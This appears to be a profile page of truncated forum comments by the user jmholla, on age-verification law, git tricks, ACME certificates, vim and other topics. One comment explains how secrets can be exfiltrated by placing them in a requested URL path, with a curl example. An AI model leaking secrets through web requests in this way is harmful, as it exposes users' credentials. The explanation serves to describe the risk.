jmholla

7 ms·

31.
by jmholla 7mo ago
> You continue to use it for something else? How is it different from any other default shortcut you don't line and change? The author points out that Apple defaults often don't allow you to reuse them. They talk pretty far in
32.
by jmholla 7mo ago
It also applies to application providers. The law requires them to have their applications ask the OS how old the user is whenever it is downloaded and launched.
33.
by jmholla 7mo ago
Far narrower is doing a lot of heavy lifting in your response. > (c) “Application” means a software application that may be run or directed by a user on a computer, a mobile device, or any other general purpose computing device that can
34.
by jmholla 8mo ago
That's not a guarantee. It's up to how the courts interpret that and. Given that this law is meant to handle a moving target like age, I fully expect them to interpret it as its disjunctive form.
35.
by jmholla 8mo ago
Two important definitions that might surprise people: (a) (1) “Account holder” means an individual who is at least 18 years of age or a parent or legal guardian of a user who is under 18 years of age in the state. (a) (2) “Account holder
36.
by jmholla 8mo ago
Colorado is trying to copy this law right now, too.
37.
by jmholla 8mo ago
As others have pointed out, this is just a foot in the door. There's also a part of the law this article doesn't cover that requires EVERY application to query this information on every launch, regardless of whether or not the app
38.
by jmholla 8mo ago
I think that OP's point was that the alternative is even more locked down. There is no option for people who don't want to be nannied.
39.
by jmholla 8mo ago
I stopped patronizing Best Buy when their store phone numbers started going to a corporate call center that couldn't tell me if something I was looking for was in stock at the store.
40.
by jmholla 8mo ago
> Except companies provide wholly inadequate safeguards and tools. They are buggy, inconsistent, easily circumvented, and even at time malicious. Consumers should be better able to hold providers accountable, before we start going after
41.
by jmholla 8mo ago
Whoops, there should be a slash after `${root}` in that last line.
42.
by jmholla 8mo ago
Here's a little extra magic so that you don't even need to be in the root of the repository to create such a temporary file (you'll have to change the readlink invocation if you're on MacOS): git-ignore-local () {
43.
by jmholla 8mo ago
You still want to put these kinds of things in every project where you are collaborating. You can't depend on everyone to know and do this, so best to just be prepared for those who don't.
44.
by jmholla 8mo ago
I doubt it. This bill has extremely deep problems. The constrain of a "real-time application programming interface" has no legislative priors and little concrete technical merit. This requirement on its face requires that all oper
45.
by jmholla 8mo ago
Why not? Why not have your agent write and automate those one off scripts instead of burning tokens on repeated actions?
46.
by jmholla 8mo ago
That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google
47.
by jmholla 8mo ago
A lot of the comments in here seem to be focused on mobile devices, but this law applies to basically every general computing device. Here are the definitions from the bill in a more reasonable order than they are presented there: > &quo
48.
by jmholla 8mo ago
> Why? ACME accounts have credentials so that the ACME client can authenticate against the certificate issuer, and ACME providers require the placement of a DNS record or a .well-known HTTP endpoint to verify that the account is authoriz
49.
by jmholla 8mo ago
There's a missing part here, and that's validating your ACME account ownership. I think most users depend on automation that creates their accounts, so they never have to deal with it. But now, you need to propagate some credentia
50.
by jmholla 8mo ago
Also selecting text and then dragging the selection somewhere is broken. I think Quanta's gonna lose its JS privileges on my browser.
51.
by jmholla 8mo ago
> Someone would have noticed if all the phones on their network started streaming audio whenever a conversation happened. You don't have to stream the audio. You can transcribe it locally. And it doesn't have to be 100% accurat
52.
by jmholla 8mo ago
When I came to this idea on my own, I called it "translation at the edge." But for me it was more that just centralizing data validation, it also was about giving you access to all the tools your programming language has for manip
53.
by jmholla 8mo ago
To clarify, you talk about why it's possible, not why LinkedIn is doing it, right? Or did I miss something in your article.
54.
by jmholla 9mo ago
I think your summary of act 4 is uncharitable. Every book of Sanderson's I've read has been about showing unexpected ways the rules could be combined, not surprise new rules.
55.
by jmholla 9mo ago
> But this post is entirely speculation. The author has no evidence they're basing it on tracking pixels. They're literally just guessing. They literally admit to this and go on to provide the evidence for their guess: > I t
56.
by jmholla 9mo ago
How many months did you do it for until you felt comfortable on your own?
57.
by jmholla 9mo ago
Actually, `<n><space>` ignores things like new lines.
58.
by jmholla 9mo ago
Like the nth character in the current buffer? I believe vim has that built-in: `<n>go`. I think `<n><space>` will do it relative to your current position.
59.
by jmholla 9mo ago
Mine was my senior design project as well. My group got assigned to a competition to wirelessly harness energy in the GHz range. The competition used a ratio of energy to size (power / (longest edge * mass)) to rate the entries and so
60.
by jmholla 9mo ago
You could also take a look at chafa[0] for supporting terminals without sixel. [0]: https://hpjansson.org/chafa/

More ›